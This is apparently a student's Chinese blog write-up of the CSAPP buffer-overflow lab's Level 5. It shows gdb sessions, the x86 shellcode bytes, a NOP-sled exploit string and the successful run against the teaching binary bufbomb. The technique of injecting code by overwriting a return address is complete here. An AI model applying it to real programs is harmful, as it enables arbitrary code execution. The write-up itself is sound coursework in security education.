侧边栏壁纸
博主头像
落叶人生博主等级

走进秋风,寻找秋天的落叶

  • 累计撰写 130555 篇文章
  • 累计创建 28 个标签
  • 累计收到 9 条评论
标签搜索

目 录CONTENT

文章目录

CSAPP缓冲区溢出实验记录(三)

2023-05-23 星期二 / 0 评论 / 0 点赞 / 18 阅读 / 11007 字

Level 5 Nitroglycerin (10 分)题目说明:这一关是一道加分题。在bufbomb程序中还有一个'-n'的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用

.

Level 5 Nitroglycerin (10 分)

题目说明:这一关是一道加分题。在bufbomb程序中还有一个'-n'的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn:

int getbufn(){    char buf[512];    Gets(buf);    return 1;}

这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的cookie。

与Level4相同,但要求提供同一个exploit string,在getbufn被调用5次后,最终返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。

解法:

由于getbufn函数栈的EBP不固定,每一次buf都不相同,我们先进行采样,观察其变化规律。

(gdb) disass getbufnDump of assembler code for function getbufn:0x08048a60 <getbufn+0>: push   %ebp0x08048a61 <getbufn+1>: mov    %esp,%ebp0x08048a63 <getbufn+3>: sub    $0x208,%esp0x08048a69 <getbufn+9>: add    $0xfffffff4,%esp0x08048a6c <getbufn+12>:        lea    0xfffffe00(%ebp),%eax0x08048a72 <getbufn+18>:        push   %eax0x08048a73 <getbufn+19>:        call   0x8048b50 <Gets>0x08048a78 <getbufn+24>:        mov    $0x1,%eax0x08048a7d <getbufn+29>:        mov    %ebp,%esp0x08048a7f <getbufn+31>:        pop    %ebp0x08048a80 <getbufn+32>:        ret    End of assembler dump.(gdb) b *0x8048a72                 注:在调用Gets前下断点Breakpoint 1 at 0x8048a72(gdb) run -n -t heen                  以Nitro模式运行Starting program: /root/Desktop/buflab/bufbomb -n -t heenTeam: heenCookie: 0x5573b7cfBreakpoint 1, 0x08048a72 in getbufn ()(gdb) p/x $ebp+0xfffffe00         以16进制打印buf$1 = 0xbfffaeb8(gdb) contContinuing.Type string:helloDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn ()(gdb) p/x $ebp+0xfffffe00$2 = 0xbfffaeb8(gdb) contContinuing.Type string:hello againDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn ()(gdb) p/x $ebp+0xfffffe00$3 = 0xbfffaec8(gdb) contContinuing.Type string:hello again againDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn ()(gdb) p/x $ebp+0xfffffe00$4 = 0xbfffae98(gdb) contContinuing.Type string:dfafafafDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn ()(gdb) p/x $ebp+0xfffffe00$5 = 0xbfffaec8(gdb) p $ebp+0xfffffe00-$ebp$6 = -512(gdb) contContinuing.Type string:fdfdfdfdfffDud: getbufn returned 0x1Better luck next timeProgram exited normally.

在getbufn被调用5次时,buf分别为0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我们打印了一下buf与EBP之间的偏移,正好为buf分配的512字节。堆栈布局如图所示。

由于buf分配了足够的存储空间(512字节),而且buf本身随机变化,因此我们考虑在实际的shellcode前加上NOP Sled(空指令雪撬),然后提供一个buf在getbufn5次调用中的最大地址覆盖ret,这样可保证ret指向EBP与实际buf之间的NOP Sled区,这样保证通过NOP空指令滑行,最终执行shellcode。

另外一个需要注意的地方是恢复调用函数testn的堆栈状态,由于EBP不固定,不能向Level 4那样在exploit string中填入SFP,需要在shellcode中设置。

总结一下,编写shellcode需要(1)恢复SFP;(2)设置getbufn返回值为cookie;(3)跳转到testn中调用getbufn后的下一指令地址。

反汇编testn

(gdb) disass testnDump of assembler code for function testn:0x08048a84 <testn+0>:   push   %ebp0x08048a85 <testn+1>:   mov    %esp,%ebp0x08048a87 <testn+3>:   sub    $0x18,%esp ; %ebp=%esp+0x180x08048a8a <testn+6>:   movl   $0xdeadbeef,0xfffffffc(%ebp)0x08048a91 <testn+13>:  call   0x8048a60 <getbufn>0x08048a96 <testn+18>:  mov    %eax,%edx ;shellcode需要返回到的地址0x08048a98 <testn+20>:  mov    0xfffffffc(%ebp),%eax0x08048a9b <testn+23>:  cmp    $0xdeadbeef,%eax0x08048aa0 <testn+28>:  je     0x8048ab1 <testn+45>0x08048aa2 <testn+30>:  add    $0xfffffff4,%esp0x08048aa5 <testn+33>:  push   $0x80494400x08048aaa <testn+38>:  call   0x8048748 <printf@plt>0x08048aaf <testn+43>:  jmp    0x8048ae1 <testn+93>0x08048ab1 <testn+45>:  cmp    0x804aa50,%edx0x08048ab7 <testn+51>:  jne    0x8048ad3 <testn+79>0x08048ab9 <testn+53>:  add    $0xfffffff8,%esp0x08048abc <testn+56>:  push   %edx0x08048abd <testn+57>:  push   $0x80494c00x08048ac2 <testn+62>:  call   0x8048748 <printf@plt>0x08048ac7 <testn+67>:  add    $0xfffffff4,%esp0x08048aca <testn+70>:  push   $0x40x08048acc <testn+72>:  call   0x8048c30 <validate>---Type <return> to continue, or q <return> to quit---

由于我们只覆盖了getbufn在堆栈中的SFP和RET,不会影响ESP,可以反推testn堆栈中的ebp(即getbufn的SFP)为esp+0x18。通过这些信息,编写shellcode,并获得其十六进制的机器码

[root@localhost buflab]# cat exploit5_shellcode.sleal 0x18(%esp),%ebpmovl $0x5573b7cf,%eaxpushl $0x8048a96ret[root@localhost buflab]# gcc -c exploit5_shellcode.s[root@localhost buflab]# objdump -d exploit5_shellcode.oexploit5_shellcode.o:     file format elf32-i386Disassembly of section .text:00000000 <.text>:   0:   8d 6c 24 18             lea    0x18(%esp),%ebp   4:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax   9:   68 96 8a 04 08          push   $0x8048a96   e:   c3                      ret

上述shellcode的机器码包括15个字节,我们还需要在其前面填入512 -15 = 497个NOP(90)。

编写497个空格间断的90是一件痛苦的事,幸好我们有perl来帮我们完成

[root@localhost buflab]# perl -e 'print "90 " x 497;'> exploit5.txt

当然perl还可直接生成exploit string,由于有sendstring程序,此处不表。

接着编辑exploit5.txt,在最后一个90后填入。

90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf 

<-497个->
上面的4个61为覆盖SFP的地方,由于我们shellcode中做了设置,因此此处可为任意字节(除回车和nul),最后紧跟我们实验中获得的buf 的最大地址0xbffffaec8。

运行

[root@localhost buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heenTeam: heenCookie: 0x5573b7cfType string:KABOOM!: getbufn returned 0x5573b7cfKeep goingType string:KABOOM!: getbufn returned 0x5573b7cfKeep goingType string:KABOOM!: getbufn returned 0x5573b7cfKeep goingType string:KABOOM!: getbufn returned 0x5573b7cfKeep goingType string:KABOOM!: getbufn returned 0x5573b7cfNICE JOB!

在getbufn调用5次后,满足了题目要求。

总结:

上述5关前前后后做了一个月,尽管以前对栈的缓冲区溢出有所理解,但当真正实践起来又是另外一回事,也并非如记录中的那样一帆风顺、信手捻来,而是走了无数的弯路以后才理解、并应用了正确的方法、得出了最后的结果,正所谓"纸上得来终觉浅,绝知此事要躬行",在信息安全这样一个实战性极强的领域里,更需要实实在在地耕耘下去。


.

广告 广告

评论区